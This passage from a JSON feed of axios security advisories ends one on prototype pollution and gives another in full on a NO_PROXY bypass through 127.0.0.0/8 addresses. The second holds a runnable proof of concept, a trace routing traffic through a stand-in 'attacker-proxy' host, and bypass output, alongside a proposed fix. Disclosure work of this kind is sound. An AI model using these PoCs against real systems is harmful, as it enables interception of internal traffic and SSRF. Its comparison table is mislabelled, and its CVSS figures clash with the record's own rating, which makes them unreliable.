status code 500\n\n--- After Pollution ---\n200: RESOLVED as success (status: 200)\n301: RESOLVED as success (status: 301)\n401: RESOLVED as success (status: 401)\n403: RESOLVED as success (status: 403)\n404: RESOLVED as success (status: 404)\n500: RESOLVED as success (status: 500)\n503: RESOLVED as success (status: 503)\n\n--- Authentication Bypass Demo ---\nAuth check bypassed! 401 treated as success.\nApplication proceeds with: { status: 401, message: 'Response with status 401' }\n```\n\n## Impact Analysis\n\n- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.\n- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.\n- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.\n- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.\n\n## Recommended Fix\n\nReplace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:\n\n```javascript\n// FIXED: lib/core/mergeConfig.js\nfunction mergeDirectKeys(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop)) {\n    return getMergedValue(a, b);\n  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | PoC developed and vulnerability confirmed |\n| 2026-04-16 | Report revised for accuracy |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:21:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63","https://nvd.nist.gov/vuln/detail/CVE-2026-42041","https://github.com/advisories/GHSA-w9j2-pvgh-6h63"],"source_kind":"github","identifiers":["GHSA-w9j2-pvgh-6h63","CVE-2026-42041"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-30T17:02:19.794Z","epss_percentage":0.00611,"epss_percentile":0.4653,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OWoyLXB2Z2gtNmg2M84ABWJs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbXdnLWN2aHItOHZoN84ABWJr","url":"https://github.com/advisories/GHSA-pmwg-cvhr-8vh7","title":"Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0","description":"**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background — The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch — This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 1\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n```\nHowever, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() — Line 1–3 |\n| Supporting Function | shouldBypassProxy() — Line 59–110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js — Lines 191–199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL → http://localhost./secret\nNO_PROXY    → \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   →  FALSE  →  Proxy used  ← BYPASS\n  \"[::1]\"     === \"::1\"         →  FALSE  →  Proxy used  ← BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47–57)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" → \"::1\"\n  if (hostname.charAt(0) === '[' \u0026\u0026 hostname.charAt(hostname.length - 1) === ']') {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" → \"localhost\"\n  return hostname.replace(/\\.+$/, '');\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1–3 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 — Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" → treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 — Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 §3.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 — Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 — Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 — Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets → skip\n//          No trailing dot → skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 — Iterate over NO_PROXY entries\n//  Entry → \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  → false\nisLoopback(\"127.0.0.2\")                      → false  ← Set.has() returns false\n                                                          BYPASS starts here\n//  Entry → \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 → false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  → LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     → false  ← Same failure\n  → false\n//  Entry → \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        → false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  → LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     → false  ← Same failure\n  → false\n// Step 5 — Final return\nshouldBypassProxy() → false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker's proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 §3.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 — Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 — Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 — Create the PoC file (`poc.js`)**\n\n```\nimport http from 'http';\nimport axios from 'axios';\n// ── Simulated attacker-controlled proxy server ────────────────────────────────\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log('\\n[!] PROXY HIT — Attacker proxy received request!');\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end('proxied');\n}).listen(PROXY_PORT);\n// ── Simulated developer security configuration ────────────────────────────────\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = 'localhost,127.0.0.1,::1';\n// ── Test helper ───────────────────────────────────────────────────────────────\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === 'proxied') {\n      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');\n    } else {\n      console.log('    Result → [DIRECT]   ← Safe, no proxy used');\n    }\n  } catch (err) {\n    if (err.code === 'ECONNREFUSED') {\n      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');\n    }\n  }\n}\n// ── Test execution ────────────────────────────────────────────────────────────\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch — expected to go DIRECT\n  console.log('\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');\n  await test('http://localhost:9191/secret');\n  await test('http://localhost.:9191/secret');\n  await test('http://[::1]:9191/secret');\n  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy\n  console.log('\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');\n  await test('http://127.0.0.2:9191/secret');\n  await test('http://127.0.0.100:9191/secret');\n  await test('http://127.1.2.3:9191/secret');\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 — Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT — Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result → [PROXIED]  ← BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target — Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application → 127.0.0.2:8080 (direct)\nActual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application's perspective, the request succeeds normally.\n\n**Impact 2 — SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 — Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 — Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 — No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js — Axios 1.15.0\n// Lines 1–3 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") → LOOPBACK_ADDRESSES.has(\"127.0.0.2\") → FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === 'localhost') return true;\n  // IPv6 loopback address\n  if (host === '::1') return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split('.');\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === '127' \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View — Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === 'localhost') return true;\n+   if (host === '::1') return true;\n+   const parts = host.split('.');\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === '127' \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 — RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 §3.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 — The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 — Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table — default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 — The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1)\n2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 — The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 — Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation — IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n'0:0:0:0:0:0:0:1'      // Full notation of ::1\n'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback\n'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address 